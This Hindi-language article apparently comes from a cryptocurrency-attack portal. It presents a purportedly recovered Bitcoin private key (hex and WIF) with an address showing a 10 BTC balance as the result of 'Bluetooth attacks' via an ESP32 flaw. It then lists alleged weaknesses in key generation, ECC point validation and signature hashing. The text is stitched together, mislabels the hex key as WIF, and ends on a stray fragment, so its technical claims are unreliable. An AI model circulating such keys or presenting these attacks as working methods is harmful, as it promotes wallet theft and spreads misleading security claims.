https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey
============================= KEYFOUND.privkey =============================
Private Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
Balance: 10.00000000 BTC
============================= KEYFOUND.privkey =============================कोड को लागू करने के लिए, हम Bitcoin पैकेज स्थापित करेंगे। यह लाइब्रेरी आपको वॉलेट बनाने, ब्लॉकचेन के साथ इंटरैक्ट करने, लेनदेन बनाने और साइन करने तथा Bitcoin क्रिप्टोकरेंसी के विभिन्न पते प्रारूपों और निजी कुंजियों के साथ काम करने की अनुमति देती है।
!pip3 install bitcoinआइए कोड चलाएँ ताकि Bitcoin पते की मिलान जाँची जा सके:
__________________________________________________
Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received = 10.00000000 Bitcoin
__________________________________________________बिल्कुल सही! निजी कुंजी Bitcoin वॉलेट से मेल खाती है।
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
आज के डिजिटल परिवेश में, उपकरणों और नेटवर्क की सुरक्षा महत्वपूर्ण है। यह पेपर विभिन्न घटकों में पाई गई कई कमजोरियों का विश्लेषण करता है, जिनमें ESP32 डिवाइस और Bitcoin जैसी क्रिप्टोकरेंसी के साथ काम करने के लिए सॉफ्टवेयर शामिल हैं। हम निजी कुंजी सत्यापन कोड, लेनदेन हैशिंग विधियों, यादृच्छिक कुंजी निर्माण, ECC वक्र बिंदु सत्यापन, Y-निर्देशांक पुनर्प्राप्ति और विरासत हैशिंग API में दोषों की जाँच करते हैं। ESP32 माइक्रोकंट्रोलर में CVE-2025-27840 कमजोरी पर विशेष ध्यान दिया गया है, जो हमलावरों को नकली अपडेट इंजेक्ट करने और सिस्टम तक निम्न-स्तरीय पहुँच प्राप्त करने की अनुमति देती है। इन कमजोरियों के संभावित प्रभावों पर चर्चा की गई है, जिसमें कोड ऑडिट नियंत्रणों को बायपास करने, निजी कुंजियों तक पहुँच प्राप्त करने और सप्लाई चेन हमले करने की क्षमता शामिल है। पेपर सुरक्षा को मजबूत करने और संभावित हमलों को रोकने के लिए सिफारिशों के साथ समाप्त होता है।
अरबों डिवाइस अब एकल घटक में छिपे डिज़ाइन दोषों के प्रति संवेदनशील हो सकते हैं, जिसे CVE-2025-27840 के रूप में पहचाना गया है। ये कमजोरियाँ हमलावरों को MAC पते बदलने, डिवाइस मेमोरी तक अनधिकृत पहुँच प्राप्त करने और Bluetooth के माध्यम से हमले करने की अनुमति दे सकती हैं।
has_invalid_privkey में निजी कुंजी व्युत्पत्ति कमजोरी : Bitcoin निजी कुंजियों के लिए निचली सीमा जाँच की कमी अमान्य कुंजियों (0 से कम या बराबर) के उपयोग की अनुमति देती है, जिससे धन की हानि हो सकती है।electrum_sig_hash फ़ंक्शन में Bitcoin लेनदेन हस्ताक्षर जालसाजी कमजोरी : Electrum द्वारा गैर-मानक संदेश हैशिंग विधि का उपयोग इसे BIP-137 के साथ असंगति के कारण हस्ताक्षर जालसाजी हमलों के प्रति संवेदनशील बनाता है।random_key फ़ंक्शन कमजोरी (कुंजी निर्माण में कमजोर PRNG) : Bitcoin नेटवर्क में random कुंजी निर्माण मॉड्यूल का उपयोग निजी कुंजियों को हमलावरों के लिए अनुमान योग्य बनाता है, क्योंकि यह मॉड्यूल क्रिप्टोग्राफ़िक उद्देश्यों के लिए नहीं है।multiply फ़ंक्शन में कमजोरी (ECC वक्र बिंदु सत्यापन की कमी) : ECC वक्र में बिंदुओं का अपर्याप्त सत्यापन हमलावर को अमान्य वक्र हमले करने की अनुमति दे सकता है, जिससे जाली हस्ताक्षर और नेटवर्क हेरफेर हो सकते हैं।ecdsa_raw_sign फ़ंक्शन में कमजोरी : Y-निर्देशांक का गलत पुनर्स्थापन Bitcoin नेटवर्क में सार्वजनिक कुंजी के प्रतिस्थापन का कारण बन सकता है।bin_ripemd160 फ़ंक्शन कमजोरी : विरासत हैशिंग API, विशेष रूप से वे जिनमें RIPEMD-160 का अभाव है, हमलों के प्रति संवेदनशील हो सकते हैं, जो अद्यतन क्रिप्टोग्राफ़िक लाइब्रेरीज़ और नियमित सुरक्षा अपडेट के उपयोग के महत्व को उजागर करता है।
random_key और ecdsa_raw_sign जैसे क्रिप्टोग्राफ़िक फ़ंक्शनों में कमजोरियों को ठीक करना Bitcoin नेटवर्क की समग्र सुरक्षा में सुधार करता है और लेनदेन तथा हस्ताक्षरों पर संभावित हमलों को रोकता है।इस पेपर में प्रस्तुत कमजोरियों की पहचान और विश्लेषण उपकरण और सॉफ्टवेयर सुरक्षा की निरंतर निगरानी और सुधार की आवश्यकता को उजागर करता है। इन कमजोरियों का समाधान न केवल संभावित हमलों और वित्तीय हानियों को रोकता है, बल्कि उपयोगकर्ता का विश्वास बनाने और सुरक्षा मानकों का पालन करने में भी मदद करता है। मजबूत सुरक्षा तंत्र लागू करना और नियमित सुरक्षा अपडेट डिजिटल प्रणालियों के सुरक्षित और विश्वसनीय संचालन को सुनिश्चित करने के लिए महत्वपूर्ण हैं। ESP32 जैसे उपकरणों और नेटवर्कों में सुरक्षा में सुधार की आवश्यकता तेजी से जरूरी होती जा रही है।
यह सामग्री CRYPTO DEEP TECH पोर्टल के लिए बनाई गई थी ताकि वित्तीय डेटा सुरक्षा और दीर्घवृत्तीय वक्रों पर क्रिप्टोग्राफी सुनिश्चित की जा सके secp256k1 कमजोर के विरुद्ध ECDSA हस्ताक्षरों में BITCOIN क्रिप्टोकरेंसी . सॉफ़्टवेयर के निर्माता सामग्री के उपयोग के लिए ज़िम्मेदार नहीं हैं।
Telegram: https://t.me/cryptodeeptech
वीडियो सामग्री: https://youtu.be/nBeZWm2z5o4
वीडियो ट्यूटोरियल: https://dzen.ru/video/watch/6784be61b09e46422395c236
स्रोत: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks
privkey की जांच करने के लिए has_invalid_privkey फ़ंक्शन को कॉल करता है।